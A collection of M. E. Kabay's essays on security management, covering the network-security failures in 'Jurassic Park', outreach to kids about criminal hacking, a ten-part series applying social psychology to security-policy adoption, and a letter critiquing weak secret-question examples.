Velocihackers and Tyrannosaurus superior

Michel Kabay

The current hit movie “Jurassic Park” stars several holdovers from 65 million years ago. It also shows errors in network security that seem to be as old.

For those of you who have just returned from Neptune, “Jurassic Park” is about a dinosaur theme park that displays live dinosaurs created after scientists cracked extinct dinosaur DNA code recovered from petrified mosquitoes. The film has terrific live-action dinosaur replicas and some heart-stopping scenes. It also dramatizes awful network management and security. Unfortunately, the policies are as realistic as the dinosaurs.

Consider a network security risk analysis for Jurassic Park. The entire complex depends on computer-controlled electric fences and gates to keep a range of prehistoric critters from eating the tourists and staff. So at a simple level, if the network fails, people turn into dinosaur food.

Jurassic Park’s security network is controlled by an ultramodern Unix system, but its management structures date from the Stone Age. There is only one person who maintains the programs which control the security network. This breaks Kabay’s Law of Redundancy, which states, “No knowledge shall be the property of only one member of the team.” After all, if that solitary guru were to leave, go on vacation, or get eaten by a dinosaur, you’d be left without a safety net.

Jurassic Park’s security system is controlled by computer programs consisting of two million lines of proprietary code. These critical programs are not properly documented. An undocumented system is by definition a time bomb. In the movie, this bomb is triggered by a vindictive programmer who is angry because he feels overworked and underpaid.

One of the key principles of security is that people are the most important component of any security system. Disgruntled and dishonest employees cause far more damage to networks and computer systems than hackers. The authoritarian owner of the Park dismisses the programmer’s arguments and complaints as if owning a bunch of dinosaurs gives him the privilege of treating his employees rudely. He pays no attention to explicit indications of discontent, including aggressive language, resentful retorts, and sullen expressions. If the owner had taken the time to listen to his employee’s grievances and take steps to address them, he could have prevented several dinosaur meals.

Bad housekeeping is another sign of trouble. The console where the disgruntled programmer works looks like a garbage dump; it’s covered in coffee-cup fungus gardens, historically significant chocolate bar wrappers, and a treasure trove of recyclable soft drink cans. You’d think that a reasonable manager would be alarmed simply by the number of empty calories per hour being consumed by this critically important programmer. The poor fellow is so overweight that his life expectancy would be short even if he didn’t become dinosaur fodder.

Ironically, the owner repeats, ‘No expense spared’ at several points during the movie. It doesn’t seem to occur to him that with hundreds of millions of dollars spent on hardware and software--not to mention the buildings and grounds and an entire private island--modest raises for the staff would be trivial in terms of operating expenses but significant for morale.

In the movie, the network programmer is bribed by competitors to steal dinosaur embryos. He does so by setting off a logic bomb that disrupts network operations completely. The network outage causes surveillance and containment systems to fail, stranding visitors in, well, uncomfortable situations. Even though the plot is not exactly brilliant, I’d like to leave at least something to surprise those who haven’t seen the movie yet.

When the systems fail, for some reason all the electric locks in the park’s laboratory are instantly switched to the open position. Why aren’t they automatically locked instead? Normally, when a security controller fails, the default should be to keep security high, not eliminate it completely. Manual overrides such as crash bars (the horizontal bars that open latches on emergency exits) can provide emergency egress without compromising security.

As all of this is happening, a tropical storm is bearing down on the island. The contingency plan appears to consist of sending almost everyone away to the mainland, leaving a pitifully inadequate skeleton crew. The film suggests that the skeleton crew is not in physical danger from the storm, so why send essential personnel away? Contingency plans are supposed to include redundancy at every level. Reducing the staff when more are needed is incomprehensible.

At one point, the systems are rebooted by turning the power off to the entire island on which the park is located. This is equivalent to turning the power off in your city because you had an application failure on your PC. Talk about overkill: why couldn’t they just power off the computers themselves?

Where were the DPMRP (Dinosaur Prevention, Mitigation and Recovery Planning) consultants when the park was being designed? Surely everybody should know by now that the only way to be ready for dinosaurs, uh, disasters, is to think, plan, rehearse, refine and update. Didn’t anyone think about what would happen if the critters got loose? Where are the failsafe systems? The uninterruptible power supplies? The backup power generators? Sounds like Stupidosaurians were in charge.

We may be far from cloning dinosaurs, but we are uncomfortably close to managing security with all the grace of a Brontosaurus trying to type.

I hope you see the film. And bring your boss.

Stop Preaching to the Choir

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Program Director, Master of Science in Information Assurance
Norwich University, Northfield, VT 05663-1035 USA

We security experts and network specialists do a lot of talking to each other about security. We natter on at conferences about the latest vulnerabilities and exploits; we make *tsking* noises about how awful the latest case of Web vandalism or Phishing is. Faced with a rising tide of criminal hacking, we raise the dikes ever higher. Our conception of improving security is focused entirely on resisting attacks.

This attitude seems to take for granted that criminal hackers will continue to increase the frequency, sophistication, and effectiveness of their penetration attempts. Here is very much the same attitude that we reasonably adopt with regard to earthquakes, tornadoes, hurricanes and snow storms. Basically, we treat a computer crime as if it were an act of G-d.

We don't know all the details of the criminal hacker underground. However, we know for sure that there are children being seduced by hacker propaganda right now. Children live in a child's subculture; for many kids, the adult world to impinge is very little on their daily picture of the world. In many families, children care more about their peer group's approval then about their parents' opinions. It's not surprising, then, that there are kids who are playing with powerful hacking tools – maybe kids in your neighborhood or even your family who are launching denial of service attacks, vandalizing Website said, and using stolen credit cards.

Back in the last century, a there was a pre-teen kid did whose family thought that there was nothing unusual about his having several phone lines in his bedroom that he paid for. The child had convinced them that running half a dozen modems concurrently 24 hours a day was just something that computer geeks had to do. The parents never asked where the child obtained the money to pay for extra phone lines. It turned out that their "computer genius" was trolling for fax numbers using war dialers and was selling the fax numbers he identified; junk fax operators were paying him several dollars per number for his harvest.

In 1996, a 16-year-old Australian, Drew Henry Madden, of Brisbane started defrauding businesses using stolen and forged credit-card numbers just after leaving school. By 1997, he had stolen $100,000 in goods and services. In October, he pleaded guilty to 294 counts of fraud and was given a suspended sentence. His defense attorney blamed his victims' poor security for the losses. Despite the youngster's unusual revenue stream, his mother appeared to have accepted his globe-trotting ways and massive purchases of lottery tickets without comment.

Yes, we all know about the script kiddies; we've seen it or read about the prepubescent geeks attending criminal hacker conferences. Some people make the mistake of stereotyping criminal hackers, describing them incorrectly as pimply adolescents who can't get a date. But very few of us in the networking and security professions seem to go out of our way to talk about security and criminal hacking to anyone outside our field. We seem to be content to talk to each other and agree on how unfortunate it is that parents or the schools or TV cartoon shows don't teach kids about the ethical use of computer technology.

So why aren't we out there talking to kids and teachers and parents ourselves? We know how tough it is for network operations when someone has breached our perimeter. We have gone through all night sessions checking our software and data because some creep has broken through a vulnerability we ought to have patched. We need to speak up about of our point of view. We need to go out into our own communities and spread the word about what really happens when there's unauthorized access to our systems. We should be speaking about our concerns in schools, churches, synagogues, mosques, community centers, Co-op stores, teen-ager centers and anywhere we can reach adults and children in an effort to stem the tide of criminal hacking.

Stop preaching to the choir. Get out into the real world and make a difference.

Psycho-Social Factors in the Implementation of Security Policy.

Part 1. Introduction

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

All of us have commiserated with colleagues about the difficulty of getting people to pay attention to security policies B to comply with what seems like good common sense. We shake our heads in disbelief as we recount tales of employees who hold the door open for their work mates, thereby rendering million-dollar card-access systems useless.

One problem is that although information systems security and network management personnel have a wide variety of backgrounds, many of us lack any formal training in social psychology.

Security policies and procedures affect not only what people do but also how they see themselves, their colleagues and their world. Despite these psychosocial issues, security personnel pay little or no attention to what is known about social psychology. The established principles of human social behaviour have much to teach us in our attempts to improve corporate and institutional information security.

Information security specialists concur that security depends on people more than on technology. Another commonplace is that employees are a far greater threat to information security than outsiders.

It follows from these observations that improving security depends on changing beliefs, attitudes and behavior, both of individuals and of groups. Social psychology can help us understand how best to work with human predilections and predispositions to achieve our goals of improving security:

* research on social cognition looks at how people form impressions about reality (knowing these principles, we can better teach our colleagues and clients about effective security);

* work on attitude formation and beliefs helps us present information effectively and so convince employees and others to cooperate in improving security;

* scientists studying persuasion and attitude change have learned how best to change people's minds about unpopular views such as those of the security community;

* studies of factors enhancing prosocial behavior provide insights on how to foster an environment where corporate information is willingly protected;

* knowledge of the phenomena underlying conformity, compliance and obedience can help us enhance security by encouraging compliance and by protecting staff against social pressure to breach security;

* group psychology research provides warnings about group pathology and hints for working better with groups in establishing and maintaining information security in the face of ingrained resistance.

In upcoming issues of this newsletter, I will discuss well-established principles of social psychology

that help security and network management personnel implement security policies more effectively . Any recent introductory college textbook in this field will provide references to the research that has led to the principles which are applied to security policy implementation.

Psycho-Social Factors in the Implementation of Security Policy.

Part 2. Rationality is Not Enough

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

Information security policies sometimes seem to evoke strong emotions among our colleagues. People can get very angry about what they perceive as interference with their way of getting their work done. Sometimes people subvert information security by systematically getting around the rules; for instance, on one security evaluation, I noticed a soft-drink delivery man opening the door into a secured area by using the keypad. Startled, I turned to the manager I was interviewing and asked if he had seen this flagrant breach of security; he replied, AOh yeah, no problem. We got tired of opening the door for him every week so we gave him the combination to the lock.@

Psychologists use the word Aschema@ to summarize the complex picture of reality upon which we base our judgements. That manager=s schema included a trustworthy soft-drink delivery man; an information security specialist=s schema in the same circumstances included all the potentially untrustworthy friends of that soft-drink delivery man.

Schemas are self-consistent views of reality. They help us pay attention to what we expect to be important and to ignore irrelevant data. They also help us organize our behavior. For example, our schema for relations at the office includes polite greetings, civil discussions, written communications, and businesslike clothes. The schema excludes obscene shrieks, abusive verbal attacks, spray-painted graffiti and colleagues dressed in swim suits. It is the schema that lets people tell what is inappropriate in a given situation.

Unfortunately, security policies and procedures conflict with most people's schema. Office workers' schema includes sharing office supplies (ALend me your stapler, please?@), trusting their team members to share information (ATake a look at these figures, Sally@), and letting their papers stay openly visible when they have to leave their desk.

Alas, sharing user IDs, showing sensitive information to someone who lacks the appropriate clearance, and leaving work stations logged on without protection are gross breaches of a different schema. Think about access controls: Normal politeness dictates that when a colleague approaches the door we have just opened, we hold the door open for them; when we see a visitor, we smile politely (who knows, it may be a customer). In contrast, access-control policies require that we refuse to let even a well-liked colleague piggy-back their way through an access-card system; security policies insist that unbadged strangers be challenged or reported to security personnel. Common sense tells us that when the Chief Executive Officer of the company wants something, we do it; yet the information security dictates that we should try to train computer room operators to forbid entry to anyone without documented authorization--including the CEO.

If we persist in assuming that we can influence our colleagues to change their perception of information security simply by informing, cajoling, nagging or browbeating them, we will continue to fail.

Information security must be integrated into the corporate culture; such a change needs to use all of the techniques that social psychology can teach us.

Practical Recommendations

1. In every security course or awareness program, instructors and facilitators should explicitly address the question of corporate culture, expectations and social schemata. Don=t rely solely on intellectual discourse when addressing a question of complex perceptions and feelings.

2. Address the feelings and perceptions of all participants as they learn about the counter-intuitive behaviors that improved security will demand. Encourage learners to think about how they might feel and respond in various situations that can arise during the transition to a more secure environment. For example, ask participants to imagine

* asking a colleague not to step through a secured entrance without passing through the access-control system with their own identity;

* telling their boss that they will not copy software without a license to do so;

* walking up to a visitor or employee who is not wearing an identity badge.

3. Use simulations, videos, and role-playing exercises to bridge the gap between intellect and emotion.

Psycho-Social Factors in the Implementation of Security Policy.

Part 3. Framing Reality

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

How can we make the corporate culture more supportive of information security?

In a previous article, I explained that the schema is what social psychologists call the way people make sense of their social interactions. Information security practitioners need to change our colleagues= schema.

Schemas influence what we perceive. For example, an employee refuses to take vacations, works late every night, is never late, and is never sick. A model employee? Perhaps, in one schema. From the security point of view, the employee's behavior is suspect. There have been cases where such people have actually been embezzlers unable to leave their employment: even a day away might result in discovery of their crimes. Saint or sinner? Our expectations determine what we see.

To change the schema so that people take information security seriously, we should provide participants in training and security awareness with real-life examples of computer crime and security breaches so that security policies make sense rather than seeming to be arbitrary.

Schemas influence what we remember. When information inconsistent with our preconceptions is mixed with details that fit our existing schemas, we selectively retain what fits and discard what conflicts. When we have been fed a diet of movies and television shows illustrating the premise that information is most at risk from brilliant hackers, why should we remember the truth--that carelessness and incompetence by authorized users of information systems cause far more harm than evil intentions and outsiders ever do.

Instructors should emphasize the practical side of information security by showing how policies protect all employees against false accusations, prevent damage to the organization=s reputation and profits, and even play a role in national security (especially where business touches the technical infrastructure on which we all depend).

Most important of all, teaching others about information security cannot be an occasional and hapharzard affair. Before attempting to implement policies and procedures, we should ensure that we build up a consistent view of information security among our colleagues. In light of the complexity of social cognition, our usual attempts to implement security policies and procedures seem pathetically inept. A couple of hours of lectures followed by a video, a yearly ritual of signing a security policy that seems to have been written by Martians--these are not methods that will improve security. These are merely lip service to the idea of security.

According to research on counter-intuitive information, people's judgement is influenced by the manner in which information is presented. For example, even information contrary to established schemas can be assimilated if people have enough time to integrate the new knowledge into their

world-views. It follows that security policies should be introduced over a long time, not rushed into place.

An effective information security program includes frequent reminders of security. To change the corporate culture, practitioners should use methods such as a security corner in the corporate publication, security bulletins detailing the latest computer crime or security breach that has hit the news, contests for identifying the problems in realistic scenarios, and write-in columns to handle questions about policies. Information security has to become part of the framework of reality, not just an imposition from management.

Psycho-Social Factors in the Implementation of Security Policy.

Part 4. Getting Your Security Policies Across

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

In the previous articles in this series, I have emphasized that the schema (the way people make sense of their social interactions) profoundly influences whether security policies will be integrated into the corporate culture.

What are some of the ways to change our colleagues= schemas so that they become more receptive to information security policies?

Preliminary information may influence people's responses to information presented later. For example, merely exposing experimental subjects to a list of words such as Areckless@ or Aadventurous@ affects their judgement of risk-taking behavior in a later test.

It follows that when preparing to increase employee awareness of security issues, presenting case-studies is likely to have a beneficial effect on participants' readiness to examine security requirements.

Pre-existing schemas can be challenged by several counter-examples, each of which challenges a component of the schema. For example, prejudice about an ethnic group is more likely to be changed by contact with several people, each of whom contradicts a different aspect of the prejudiced schema.

It follows that security awareness programs should include many realistic examples of security requirements and breaches. In a counterexample, students in my college INFOSEC courses have commented on the unrealistic scenario in a training video they are shown: a series of disastrous security breaches occur in the same company. Based on the findings of cognitive social psychologists, the film would be more effective for training if the incidents were dramatized as occurring in different companies.

In practical terms, practitioners should stay current and update their materials. The INFOSEC Year in Review papers that I have published for several years (see references below) can provide useful case studies that will help make awareness and training more effective.

Perceptions of risks and benefits are profoundly influenced by the wording in which situations and options are presented. For example, experimental subjects responded far more positively to reports of a drug with A50% success@ than to the same drug described as having A50% failure.@

It follows that practitioners should choose their language carefully during security awareness campaigns. Instead of focusing on reducing failure rates (breaches of security), we should emphasize improvements of our success rate.

Judgements are easily distorted by the tendency to rely on personal anecdotes, small samples, easily available information, and faulty interpretation of statistical information. Basically, we humans are not rational processors of factual information. If security awareness programs rely strictly on presentation of factual information about risks and proposed policies and procedures, they will run up against our stubborn refusal to act logically. Security program implementation must engage more than the rational mind. We must appeal to our colleagues' imagination and emotion as well. We must inspire a commitment to security rather than merely describing it.

Psycho-Social Factors in the Implementation of Security Policy.

Part 6. Changing Attitudes Towards Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

Persuasion--changing someone's attitudes--has been described in a terms of communications . The four areas of research include

* communicator variables: who is trying to persuade?

* message variables: what is being presented?

* channel variables: by what means is the attempt taking place?

* audience variables: at whom is the persuasion aimed?

Communicator Variables

Attractiveness, credibility and social status have strong effects immediately after the speaker or writer has communicated with the target audience; however, over a period of weeks to a month, the effects decline until the predominant issue is message content. We can use this phenomenon by identifying the senior executives most likely to succeed in setting a positive tone for subsequent security training. We should look for respected, likeable people who understand the issues and sincerely believe in the policies they are advocating.

Message Variables

Fear can work to change attitudes only if judiciously applied. Excessive emphasis on the terrible results of poor security is likely to backfire, with participants in the awareness program rejecting the message altogether. Frightening consequences should be coupled immediately with effective and achievable security measures.

Some studies suggest that presenting a balanced argument helps convince those who initially disagree with a proposal. Presenting objections to a proposal and offering counter-arguments is more effective than one-sided diatribes. The Software Publishers' Association training video, *It's Just Not Worth the Risk*, uses this technique: it shows several members of a company arguing over copyright infringement and fairly presents the arguments of software thieves before demolishing them.

Modest repetition of a message can help generate a more positive response. Thus security awareness programs which include imaginative posters, mugs, special newsletters, audio and video tapes and lectures are more likely to build and sustain support for security than occasional intense sessions of indoctrination.

Channel Variables

The channel through which we communicate has a strong effect on attitudes and on the importance of superficial attributes of the communicator. In modern organizations, most people assume that a meeting is the ideal way to communicate new information. However, the most effective medium for convincing someone to pay attention to any topic is face-to-face persuasion. Security training should include more than tapes and books; a charismatic teacher or leader can help generate enthusiasm for--or at least reduce resistance to--better security.

In addition, security educators should not introduce new ideas to decision makers in a meeting. There is too much danger of confounding responses to policy with non-policy matters rooted in relationships among the participants. For example, someone might oppose a new policy simply because another executive has supported it. A good way to introduce security policies is to have individual meetings with one executive at a time in which one explains the issues and proposals and asks for support.

Psychologists testing cognitive response theory have studied many subtle aspects of persuasion. For example, experiments have shown that rhetorical questions (e.g., "Are we to accept invasions of our computer systems?") are effective when the arguments are solid but counter-productive when arguments are weak.

Don't use rhetorical questions unless you are absolutely certain that everybody will inevitably have the same answer -- the one you are looking for.

In comparing the central route to persuasion (i.e., consideration of facts and logical arguments) with the peripheral (i.e., influences from logically unrelated factors such as physical attractiveness of a speaker), researchers find that the central route leads to more lasting attitudes and attitude changes.

Audience Variables

As mentioned above, questionnaires and interviews may help cement a favorable change in attitude by leading to commitment. Once employees have publicly avowed support for better security, some will begin to change their perception of themselves. As a teacher of information security, I find that I now feel much more strongly about computer crime and security than I did before I created my courses. We should encourage specific employees to take on public responsibility for information security within their work group. This role should periodically be rotated among the employees to give everyone the experience of public commitment to improved security.

* * *

Psycho-Social Factors in the Implementation of Security Policy.

Part 7. Encouraging Initiative

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

Wouldn=t it be great if our colleagues actually helped us enforce security policies?

Studies of how and why people help other people have lessons for us as we work to encourage everyone in our organizations to do the right thing. Why do some people intervene to stop crimes? Why do others ignore crimes or watch passively? Two social psychologists, Latane and Darley, have devised a schema that describes the steps leading to prosocial behavior:

* People have to notice the emergency or the crime before they can act. Thus security training has to include information on how to tell that someone may be engaging in computer crime.

* The situation has to be defined as an emergency--something requiring action. Security training that provides facts about the effects of computer crime on society and solid information about the need for security within the organization can help employees recognize security violations as emergencies.

* We must take responsibility for acting. The bystander effect comes into play at this stage. The larger the number of people in a group confronted with an emergency, the slower the average response time. In the words of a standard psychology text, larger groups seem to lead "to a diffusion of responsibility whereby each person felt less personally responsible for dealing with the emergency". Another possible factor is uncertainty about the social climate; people fear appearing foolish or overly emotional in the eyes of those present. We can address this component of the process by providing a corporate culture which rewards responsible behavior such as reporting security violations.

* Having taken responsibility for solving a problem, we must decide on action. Clearly written security policies and procedures will make it more likely that employees act to improve security. In contrast, contradictory policies, poorly-documented procedures, and inconsistent support from management will interfere with the decision to act.

Another analysis proposes that people implicitly analyze costs of helping and of not helping when deciding whether to act prosocially. The combination of factors most conducive to prosociality is low cost for helping and high cost for not helping.

Security procedures should make it easy to act in accordance with security policy; e.g., there should be a hot-line for reporting security violations, anonymity should be respected if desired, and psychological counseling and follow-up should be available if people feel upset about their involvement. Conversely, failing to act responsibly should be a serious matter; personnel policies should document clear and meaningful sanctions for failing to act when a security violation is observed; e.g., inclusion of critical remarks in employment reviews and even dismissal.

One method that does not work to increase prosocial behavior is exhortation. That is, merely lecturing people has little or no effect. On the other hand, the general level of stress and pressure to focus on narrow tasks can significantly reduce the likelihood that people will act on their moral and ethical principles.

Security is likely to flourish in an environment that provides sufficient time and support for employees to work professionally; offices where everyone responds to self-defined emergencies all the time will not likely pay attention to security violations.

Some findings from research confirm common sense. For example, guilt motivates people to act more prosocially. This effect works best when people are forced to assume responsibility. Thus enforcing standards of security using reprimands and sanctions can indeed increase the likelihood that employees will subsequently act more cooperatively.

In addition, mood affects susceptibility to prosocial pressures: bad moods make prosocial behavior less likely, whereas good moods increase prosociality. A working environment in which employees are respected is more conducive to good security than one which devalues and abuses them.

Even cursory acquaintance with other people makes it more likely that we will help them; it thus makes sense for security supervisors to get to know the staff from whom they need support. Encouraging social activities in an office (lunch groups, occasional parties, charitable projects) enhances interpersonal relationships and can improve the climate for effective security training.

Psycho-Social Factors in the Implementation of Security Policy.

Part 5. Beliefs and Attitudes

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

Psychologists distinguish between beliefs and attitudes. "A belief ... refers to cognitive information that need not have an emotional component...." An attitude refers to "an evaluation or emotional response....". Thus a person may believe that copying software without authorization is a felony while nonetheless having the attitude that it doesn't matter.

Beliefs can change when contradictory information is presented, but some research suggests that it can take up to a week before significant shifts are measurable. Other studies suggest that when people hold contradictory beliefs, providing an opportunity to articulate and evaluate those beliefs may lead to changes that reduce inconsistency.

These findings imply that a new concern for corporate security must be created by exploring the current structure of beliefs among employees and managers. Questionnaires, focus groups, and interviews may not only help the security practitioner, they may actually help move the corporate culture in the right direction.

An attitude, in the classical definition, "is a learned evaluative response, directed at specific objects, which is relatively enduring and influences behavior in a generally motivating way". The advertising industry spends over $50B yearly to influence public attitudes in the hope that these attitudes will lead to changes in spending habits--that is, in behavior.

Research on classical conditioning suggests that attitudes can be learned even because of simple word association. If we wish to move our colleagues towards a more negative view of computer criminals, it is important not to portray computer crime using positive images and words. Movies like "Sneakers" may do harm indirectly by associating pleasant, likeable people with techniques that are used for industrial espionage. When teaching security courses, we should avoid praising the criminals we describe in case studies.

One theory on how attitudes are learned suggests that rewards and punishments are important motivators. Studies show that even apparently minor encouragement can influence attitudes. A supervisor or instructor should praise any comments that are critical of computer crime or which support the established security policies. Employees who dismiss security concerns or flout the regulations should be challenged on their attitudes, not ignored.

When enforcing security policies, too many organizations focus entirely on punishing those who break the rules. However, everything we know about modifying behavior teaches us to use reward rather than punishment. One of my students, a security officer in a large corporation, experimented with reward and punishment in implementing security policies. Employees were supposed to logoff their terminals when leaving the office; however, compliance rates were around 40 percent. In one department, she used the usual techniques: putting up nasty notes on terminals that were not logged

off, reporting violators to their bosses and changing the passwords on delinquent accounts. In a different department, she simply identified those users who had indeed logged off their terminals and left a Hershey=s Chocolate Kiss on the keyboard. After one month, compliance rates in the department subject to punishment had climbed to around 50 percent. Compliance in the department getting chocolates had reached 80%.

Part 8. Dirty Words: Conformity, Compliance and Obedience

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
ADARIO, Inc.

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

These days, many people react negatively to the words conformity, compliance, and obedience. Unfortunately, ignoring social phenomena will not help the security practitioner attain her goals. We have to understand how people work together in reinforcing security policies.

Turning a group into a community provides a framework in which social pressures can operate to improve our organization's information security. People respond to the opinions of others by (sometimes unconsciously) shifting their opinion towards the mode -- the most popular opinion. Security programs must aim to shift the normative values (the sense of what one should do) towards protecting confidentiality, control, integrity, authenticity, availability and utility of data (the Parkerian Hexad enunciated by my respected colleague Donn Parker).

As we have seen in public campaigns aimed at reducing drunk driving, it is possible to shift the mode. Twenty years ago, many people believed that driving while intoxicated was amusing; today a drunk driver is a social pariah. In much the same way, we must move towards making computer crime as distasteful as public drunkenness.

The trend towards conformity increases when people within the group like or admire each other. In addition, the social status of an individual within a group influences that individual's willingness to conform. High-status people (those liked by most people in the group) and low-status people (those disliked by the group) both tend to more autonomous and less compliant than people liked by some and disliked by others. Therefore the security officers should pay special attention to those outliers during instruction programs. Managers should monitor compliance more closely in both ends of the popularity range. Contrariwise, if security practices are currently poor and we want allies in changing the norm, we should work with the outliers to resist the majority=s anti-security bias.

According to social psychologists, AThe norm of reciprocity holds that we should return favors in social relations.@ Even a small, unexpected or unsolicited (and even unwanted) present increases the likelihood that we will respond to requests. For example, members of various religious cults often hand out flowers or books at airports, knowing that the norm of reciprocity will increase the frequency and amounts of donations from basically uninterested passers by.

A security awareness program that includes small gifts such as an attractive mug labeled "SECURITY IS EVERYONE'S BUSINESS" or an inexpensive but useful booklet summarizing security policies can help get people involved in security.
The "foot in the door" technique suggests that we follow a small initial request with a much larger second request. Political field workers, for example, know that they can start small by asking people to let them put candidate stickers in their window; then they ask to put a candidate=s poster on their lawn; eventually they can ask for volunteer time or money. Every compliance with a request increases the likelihood that the person will agree to the next step in the escalating series. It=s as if

agreeing to one step helps to change the target=s sense of themselves. To reduce discomfort about their beliefs and their behavior (what psychologists call cognitive dissonance), they change their beliefs to conform with their behavior.

In our field, we can personally ask an employee to set a good example by blanking their screen and locking their terminal when they leave their desk. Later, once they have begun their process of redefinition of themselves ("I am a person who cares about computer security"), we can ask them for something more intense, such as participating in security training for others (e.g., asking each colleague to blank their screen and lock their terminal). In this way we gradually change the corporate culture so that a majority of people feel personally committed to protecting information assets.

Psycho-Social Factors in the Implementation of Security Policy.

Part 9. Group Behavior: Teams vs Gangs

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

Why do we refer to some groups of people as teams but to others as gangs? How can we use social psychological insights into group behavior to improve our success rates for information security policies?

Early studies on the effects of being in groups produced contradictory behavior; sometimes people did better at their tasks when there were other people around and sometimes they did worse. Eventually, social psychologist Robert Zajonc realized that "The presence of others is arousing, and this arousal facilitates dominant, well-learned habits but inhibits nondominant, poorly-learned habits." Thus when trying to teach employees new habits, it is counter-productive to put them into large groups. Individualized learning (e.g., computer-based training, video tapes) can overcome the inhibitory effect of groups in the early stages of behavioral change.

Another branch of research in group psychology deals with group polarization. Groups tend to take more extreme decisions than individuals in the group would have. In group discussions of the need for security, polarization can involve deciding to take more risks--by reducing or ignoring security concerns--than any individual would have judged reasonable. Again, one-on-one discussions of the need for security may be a more effective approach to building a consensus that supports cost-effective security provisions than large meetings.

In the extreme, a group can display *groupthink*, in which a consensus is reached because of strong desires for social cohesion. When groupthink prevails, evidence contrary to the received view is discounted; opposition is viewed as disloyal; dissenters are discredited. Especially worrisome for security professionals, people in the grip of groupthink tend to ignore risks and contingencies. To prevent such aberrations, the leader must remain impartial and encourage open debate. Experts from the outside (e.g., respected security consultants) should be invited to address the group, bringing their own experience to bear on the group's requirements. After a consensus has been achieved, the group should meet again and focus on playing devil's advocate to try to come up with additional challenges and alternatives.

In summary, security experts should pay attention to group dynamics and be prepared to counter possible pathological responses that interfere with acceptance of information security policies.

Psycho-Social Factors in the Implementation of Security Policy.

Part 10. Suggestions for Improving Security Education

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Dept. of Computer Information Systems
Norwich University, Northfield, VT 05663-1035 USA

In this series of articles, we are exploring how social psychology helps practitioners implement information security policies more effectively.

The preceding articles in this series have looked at the major findings of social psychology that, in this author=s opinion, can help us improve information security programs. Herewith, a few reminders of key points and suggestions for practical application. I hope that these ideas will stimulate readers to think about social psychology as they work to implement security policies.

1. Before attempting to implement policies and procedures, we should ensure that we build up a consistent view of information security among our colleagues.

2. Security policies should be introduced over a long time, not rushed into place.

3. Presenting case-studies is likely to have a beneficial effect on participants' readiness to examine security requirements.

4. Security awareness programs should include many realistic examples of security requirements and breaches.

5. We must inspire a commitment to security rather than merely describing it.

6. Emphasize improvements rather than reduction of failure.

7. A new concern for corporate security must be created by exploring the current structure of beliefs among employees and managers.

8. Do not portray computer crime using positive images and words.

9. Praise any comments that are critical of computer crime or which support the established security policies.

10. Employees who dismiss security concerns or flout the regulations should be challenged on their attitudes, not ignored.

11. Identify the senior executives most likely to succeed in setting a positive tone for subsequent security training.

12. Frightening consequences should be coupled immediately with effective and achievable security measures.

13. Presenting objections to a proposal and offering counter-arguments is more effective than one-sided diatribes.

14. Security awareness programs should include repeated novel reminders of security issues.

15. In addition to tapes and books, rely on a charismatic teacher or leader to help generate enthusiasm for better security.

16. Encourage specific employees to take on public responsibility for information security within their work group.

17. Rotate the security role periodically.

18. Security training should include information on how to tell that someone may be engaging in computer crime.

19. Build a corporate culture which rewards responsible behaviour such as reporting security violations.

20. Develop clearly written security policies and procedures.

21. Security procedures should make it easy to act in accordance with security policy.

22. Failing to act in accordance with security policies and procedures should be a serious matter.

23. Enforcing standards of security can increase the likelihood that employees will subsequently act more cooperatively.

24. A working environment in which employees are respected is more conducive to good security than one which devalues and abuses them.

25. Security supervisors should get to know the staff from whom they need support.

26. Encourage social activities in the office.

27. Pay special attention to social outliers during instruction programs.

28. Monitor compliance more closely in both ends of the popularity range.

29. Work with the outliers to resist the herd's anti-security bias.

30. Include small gifts in your security awareness program.

31. Start improving security a little at a time and work up to more intrusive procedures.

32. Before discussing security at a meeting, have one-on-one discussions with the participants.

33. Remain impartial and encourage open debate in security meetings.

34. Bring in experts from the outside when faced with groupthink.

35. Meet again after a consensus has been built and play devil's advocate.

Get Authentic Advice
Before Giving Advice on Authentication

by M. E. Kabay, PhD, CISSP

I recently visited a site where the signup procedure included a request for a secret authentication question. Here's an edited version of what I wrote to the folks running the site after I signed up.

# # #

Dear Folks:

On the HELP page where you discuss good secret questions, you have written:

>When you create a new <certificate>, we ask you to choose a secret question and type the corresponding answer. If you forget your password, we'll ask you for the answer to your secret question and the name of the country and region in which you live. We'll use your answers to these questions to verify your identity before we allow you to choose a new password.

For your security and convenience, make sure that the answer to your secret question is:

(1) Something only you know.

(2) Not related to your password or sign-in name in any way.

(3) Unlikely to change over time.

(4) Extremely difficult for others to guess, even if they see your secret question.

Some examples of good secret questions are:

(a) What are the last five digits of my Visa card?

(b) What are the last five digits of my social security number?

(c) What is my mother's maiden name? <

[I have labeled the items for purposes of clarity.]

Your criteria are good.

Your examples are bad.

